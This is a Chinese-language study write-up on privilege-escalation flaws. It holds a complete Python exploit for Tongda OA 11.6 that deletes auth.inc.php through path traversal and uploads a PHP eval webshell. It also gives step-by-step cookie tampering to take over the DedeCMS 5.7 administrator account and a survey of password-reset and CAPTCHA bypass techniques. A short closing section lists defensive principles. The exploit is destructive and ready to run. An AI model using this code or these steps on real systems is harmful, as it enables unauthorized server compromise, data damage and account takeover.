越权访问漏洞课外复现:
通达OA11.6版本越权漏洞复现
环境搭建
现在通达官网已经把版本升级到了11.7,所以下载11.6版本需要自己寻找资源
傻瓜式安装,配置界面如下。完成安装之后就可以暂时不用管它了。记得接触80端口占用(一般是要把phpstudy关掉)
安装完之后就可以访问网站首页了。这个漏洞复现手动过程比较容易,执行exp 写马就可以了
exp:
脚本内容如下,核心思路就是删除网站里的一个名为auth.inc.php的文件,进而越权拿shell
import requests#填写iptarget="http://ip/"#一句话木马的密码是qaqpayload="<?php eval($_POST['qaq']);?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....")#删除网站里的一个名为auth.inc.php的文件url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php" requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('deconf.php', payload)}requests.post(url=url,files=files)url=target+"/_deconf.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url)else: print("[-]Failed to upload file")
注意,该EXP不是无损EXP,会删除auth.inc.php让OA无法正常工作
蚁剑拿shell
程序执行之后出现了一个URL,为一句话木马所在位置。使用webshell管理工具(如蚁剑链接即可)
dedecms v5.7越权漏洞复现
环境搭建
利用phpstudy搭建,下载源码后copy进根目录安装即可
用户名admin 密码admin进入后台,系统设置->系统基本参数->会员设置 将是否开启会员功能一栏调为是
接着返回网站主页,注册一个账号,记得不要设施安全提示问题
接着回到后台将等待验证邮件修改为:”审核通过,提示填写完整信息”
进入 test123用户的个人中心,打开bp抓包,将DedeUserID_ckMD5覆盖为last_vid_ckMd5。修改完成后释放该包
此时发现test123用户变成了admin
使用F12打开控制台,进入储存,仍然是将DedeUserID_ckMD5覆盖为last_vid_ckMd5。将DedeUserID的值修改为test123.
刷新抓包,发送至repeater
将location后的网址从http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=gLZ6wS4E改为http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&;id=1&key=gLZ6wS4E
关闭代理访问即可修改管理员账户密码
后记
越权漏洞的产生归根究底,还是由于网站开发者和管理者授权意识的淡薄,授权的滥用。因此,授权应当遵守如下几条原则:
1.使用最小权限原则对用户进行赋权,对待权限做一只一毛都不多拔的铁公鸡
2.使用合理(严格)的权限校验规则;
3.使用后台登录状态作为条件进行权限判断(别动不动就瞎用前端传进来的条件)
密码找回处存在的逻辑漏洞
方法很多,思路重复,这里挑重要的讲
返回凭证
返回凭证的三种方式:
\1. url返回凭证
\2. 抓包返回凭证
\3. 凭证在页面中
方法:
1. URL返回凭证
使用firefox的firebug查看请求链接,看链接中是否有验证码等密码找回凭证
2. 抓包直接返回
根据手机号找回密码后抓包,可以发现验证码直接显示 verifycode=xxxx,如果信息被加密,解密即可(其他信息同理)
3. 密码找回凭证在页面中
通过密保问题找回密码,查看源码,密保问题和答案就在源码中显示
邮箱弱token
1.Unix时间戳 + md5
通过邮箱找回密码,正常流程去邮箱查看重置密码链接,发现链接处有一串 md5 加密字符串。字符串解密,类似 1491293277(10位),可以判断为Unix时间戳。
重置他人密码只需利用他人邮箱发送重置密码邮件,在短时间内对Unix时间戳进行暴力破解,即可获得重置密码的链接
- 用户名
重置密码链接直接使用用户名进行区别,改变用户名即可更改他人密码
- 服务器时间
利用两个帐号同时点击找回密码,去邮箱查看找回密码的链接,发现两者的随机 token 只差1-2,而且可以猜测
出为服务器时间。所以可以用一个未知帐号和一个已知帐号同时点击找回密码,稍微遍历随机 token,就可以构造出未
知帐号的密码找回链接
生成可控token
举例:
例如当我们通过邮箱找回密码,正常流程下抓包查看提交验证码后返回的数据,有加密字符串,这个加密字符串和后面重新设置新密码URL链接中的加密字符串一样,所以可以利用这个加密字符串实现新密码url中的加密字符串可控。于是根据上面提交验证码的抓包,修改User 为其他用户(User有可能会使用md5加密),发送就可以返回其他用户的加密字符串。接着重新返回到找回密码首页,利用其他用户找回,点下一步,到输入验证码处,直接修改URL链接,加入加密字符串,可 以直接绕过验证码,重置密码。
验证码处存在的逻辑漏洞
暴力破解:
要了解常见验证码机制:
- 有的验证码输入正确一次,在一定时间内不用再输入。
- 有的验证码输入正确一次,会在你session中设定一个值,告诉服务器你已经通过验证码验证了。
- 有的验证码因为逻辑问题只是一个摆设,正常的逻辑为先对比验证码是否正确,再检测账号密码是否正确,反过来了就变成了摆设
时间、次数突破:
概念:重复提交携带验证码的数据包,查看返回包,判断次数
测试方法:
填写正确登录信息和验证码 –> 抓取提交数据包 –> 重复提交该数据包 –> 查看是否登录成功 –> 登录成功则存在验证码重复使用问题
回显测试:
概念:验证码直接由客户端生成,在回显中显示,可通过浏览器工具直接查看
测试方法:
\1. 在源码中显示。源代码审计,搜索源码中有无验证码
\2. 在COOKIE中显示。抓包时分析COOKIE中是否含有验证码
绕过验证码:
漏洞成因:
由于逻辑设计缺陷,可绕过验证,比如直接删除COOKIE或验证码参数可绕过、当验证不通过清空session时。验证码参数值为空时绕过等
测试方法:
Step1.输入正确账户信息和错误验证码,登录时抓包
Step2.删除COOKIE
Step3.客户端登陆成功
特殊姿势:篡改手机号
在需要手机号的短信验证处,抓包修改手机号,可能做到非本账号手机号获取能够编辑本账号的验证码
后记
逻辑漏洞看似复杂,乱花渐欲迷人眼。然而其实思路非常单一:先前端后后端顺序枚举各处漏洞点。其实考察的是你的耐心,细心,专心。
参考链接
https://blog.csdn.net/szming_/article/details/85317010
https://blog.csdn.net/weixin_44288604/article/details/108144165